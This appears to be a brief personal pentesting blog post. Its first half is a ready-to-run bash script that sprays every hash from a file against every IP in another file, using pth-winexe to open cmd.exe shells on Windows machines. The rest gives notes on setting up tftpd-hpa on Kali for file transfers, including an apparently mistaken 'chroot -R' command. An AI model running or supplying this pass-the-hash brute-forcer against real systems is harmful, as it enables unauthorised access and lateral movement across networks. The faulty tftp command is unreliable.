WUWA

Here's a simple script to try a list of hashes out against a list of IPs: #!/bin/bash # This pass the hashes in a file of IPs (passed as the FIRST parameter) # and test every hash in a file of hashes (passed as the SECOND parameter) # i.e. root#PassTheHashBruteForcer.sh FileOfIPs.txt FileOfHashes.txt echo "syntax is: " echo "root#PassTheHashBruteForcer.sh FileOfIPs.txt FileOfHashes.txt" while read -r line1 do     while IFS='' read -r line2 || [[ -n "$line2" ]]; do     #echo "$line1 $line2"     echo "/usr/bin/pth-winexe -U $line2 //$line1 cmd.exe"     /usr/bin/pth-winexe -U $line2 //$line1 cmd.exe     #pth-winexe -U $line //10.11.1.$line1 cmd.exe         #echo "Text read from file: $line"     done < "$2" done < "$1"

Recently I was trying to tftp files from a Windows computer to a Kali box.   One version of Windows worked, but another didn't.    After much troubleshooting, here were my symptoms: I could tftp a file from-to any Kali box from-to another Kali box I could NOT tftp files to a specific Windows 7 box from any Kali box I could NOT tftp files to a Chrooted-Ubuntu-Chromebook box from a Kali box After MUCH troubleshooting, going through every setting in atftpd, it seemed like it literally was a client OS problem.  Different clients simply would not download files---unacceptable. Thus, I switched to tftpd-hpa.   To install: apt-get install tftpd-hpa files go to/come from /srv/tftp, but it needs to be a tftp user. Thus, I needed to: chroot -R /srv/tftp Also, if you want to be able to put files ON the tftp server (from a client), you need to modify /etc/default/tftpd-hpa: change "TFTP_OPTIONS="--secure"  to "TFTP_OPTIONS="--secure --create" ...